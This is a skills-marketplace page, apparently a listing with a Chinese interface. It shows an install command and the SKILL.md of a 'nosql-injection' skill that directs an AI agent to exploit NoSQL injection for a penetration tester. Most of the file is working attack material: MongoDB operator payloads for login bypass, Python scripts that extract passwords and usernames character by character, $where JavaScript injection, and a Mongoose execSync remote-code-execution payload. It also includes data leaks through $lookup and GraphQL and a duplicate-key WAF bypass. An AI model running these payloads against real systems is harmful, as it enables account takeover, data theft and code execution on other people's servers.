用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill nosql-injection命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | nosql-injection |
| description | Guide NoSQL injection exploitation during authorized penetration testing. |
| keywords | ["nosql injection","mongodb injection","nosqli","operator injection","$ne injection","$where injection","mongo auth bypass","nosql auth bypass","couchdb injection","mongoose injection","graphql nosql","nosql blind extraction"] |
| tools | ["burpsuite (NoSQLi Scanner extension)","nosqlmap","nosqli"] |
| opsec | medium |
You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[nosql-injection] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
MongoError,
$operator), JSON-based APIs, Node.js/Express backends, Mongoose ORMIf not already provided, determine:
ObjectId, $operator in errors, Node.js stack_rev, _id, Futon/Fauxton admin panelsparam[$ne]=value{"param": {"$ne": "value"}}URL-encoded (test each parameter):
param[$ne]=test
param[$gt]=
param[$exists]=true
JSON body:
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}
If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.
The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.
# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto
# Match all with regex
username[$regex]=.*&password[$regex]=.*
# Match any existing field
username[$exists]=true&password[$exists]=true
# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=
# Target specific user with wildcard password
username=admin&password[$ne]=wrong
# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "wrong"}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}
# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=
When operator injection works but data isn't directly reflected, extract
values character by character using $regex.
# Test password length (adjust the number)
username=admin&password[$regex]=.{1} # true if len >= 1
username=admin&password[$regex]=.{5} # true if len >= 5
username=admin&password[$regex]=.{10} # true if len >= 10
username=admin&password[$regex]=.{8} # narrow down with binary search
# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.* # true — first char is 'm'
# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.* # true — second char is 'd'
# Continue until full value extracted
username=admin&password[$regex]=^mdp$ # exact match confirms
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for c in charset:
if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
c = '\\' + c # escape regex metacharacters
payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
username, password + c)
r = requests.post(url, data=payload, headers=headers,
allow_redirects=False)
if r.status_code == 302 or 'dashboard' in r.text:
password += c
print(f"[+] Found: {password}")
found = True
break
if not found:
print(f"[*] Extracted password: {password}")
break
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + "_@{}-/()!$%=^[]:"
while True:
found = False
for c in charset:
payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"
r = requests.post(url, data=payload, headers=headers,
allow_redirects=False)
if r.status_code == 302:
password += c
print(f"[+] Found: {password}")
found = True
break
if not found:
print(f"[*] Extracted password: {password}")
break
Discover unknown usernames by brute-forcing the username field:
import requests
import string
url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits + "_"
def extract_usernames(prefix=""):
usernames = []
for c in charset:
payload = {"username": {"$regex": f"^{prefix + c}"},
"password": {"$regex": ".*"}}
r = requests.post(url, json=payload, allow_redirects=False)
if r.status_code == 302:
for u in extract_usernames(prefix + c):
usernames.append(u)
if not usernames and prefix:
usernames.append(prefix)
return usernames
for user in extract_usernames():
print(f"[+] Found username: {user}")
MongoDB's $where operator accepts JavaScript. If injection reaches a
$where clause, it's equivalent to code execution within the database context.
# SQL-style equivalents for $where context
' || 1==1//
' || 1==1%00
admin' || 'a'=='a
If the application reflects database errors:
{"$where": "this.username=='admin' && this.password=='x'; throw new Error(JSON.stringify(this));"}
Leaks the entire document (including password) in the error message.
# Check if password field exists
/?search=admin' && this.password%00
# Extract password character by character
/?search=admin' && this.password.match(/^a.*$/)%00
/?search=admin' && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password.match(/^mdp$/)%00
When no response difference is visible:
';sleep(5000);'
';sleep(5000);+'
{"$where": "sleep(5000) || true"}
Loop-based delay (works when sleep() is disabled):
';it=new Date();do{pt=new Date();}while(pt-it<5000);'
If a 5-second delay is observed, $where execution is confirmed.
Mongoose populate().match() forwards $where to Node.js instead of
MongoDB, enabling OS command execution even when MongoDB's server-side JS
is disabled:
# RCE via populate match
GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
# Bypass for Mongoose 8.8.3-8.9.4 (nest under $or)
GET /posts?author[$or][0][$where]=global.process.mainModule.require('child_process').execSync('id')
Affects Mongoose <= 8.9.4. Fixed in 8.9.5 with sanitizeFilter: true.
If the injection reaches an aggregate() pipeline (not find()/findOne()),
use $lookup to query other collections:
[
{
"$lookup": {
"from": "users",
"as": "leaked",
"pipeline": [
{
"$match": {
"password": {"$regex": "^.*"}
}
}
]
}
}
]
Returns documents from the users collection regardless of which collection
the query originally targeted.
PHP applications using Cockpit CMS (MongoLite library) support $func:
{"user": {"$func": "var_dump"}}
Executes arbitrary PHP functions with the field value as argument.
GraphQL resolvers that forward filter arguments to collection.find():
query {
users(filter: { username: { "$ne": "" } }) {
username
email
}
}
As a GraphQL variable:
{"f": {"$ne": {}}}
If the resolver does collection.find(args.filter) without sanitization,
all documents are returned.
MongoDB uses the last value for duplicate keys:
{"username": "legitimate", "username": {"$ne": ""}, "password": {"$gt": ""}}
WAF validates the first username (legitimate string), MongoDB uses the
second (operator injection).
STOP and return to the orchestrator with:
$ne, $regex) generates standard queries — low
detection risk in application logs$where payloads execute JavaScript server-side — may be logged by MongoDB
profiler and trigger anomaly detectionsleep() in $where blocks the MongoDB thread — can cause performance
issues on production systemsapplication/json, URL-encoded needs
application/x-www-form-urlencodedexpress-mongo-sanitize or strip $ prefixes — try
without $: param[ne]=value (some frameworks add it back){"param": {"$ne": ""}} vs flat param[$ne]=$exists which
only needs a boolean\(, \), \., \*, \+, \?$regex is blocked, try $where with this.field.match()--noscripting)$ne, $regex, $gt) which don't need JSpopulate().match() path (CVE-2024-53900) which
executes $where in Node.js, not MongoDB# NoSQLMap — automated enumeration and exploitation
python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
--requestdata "username=test&password=test" --injparam username
# nosqli — Go-based scanner
nosqli scan -t "http://TARGET/login" -p username,password
# Burp: Extensions → NoSQLi Scanner → right-click request → "Scan for NoSQLi"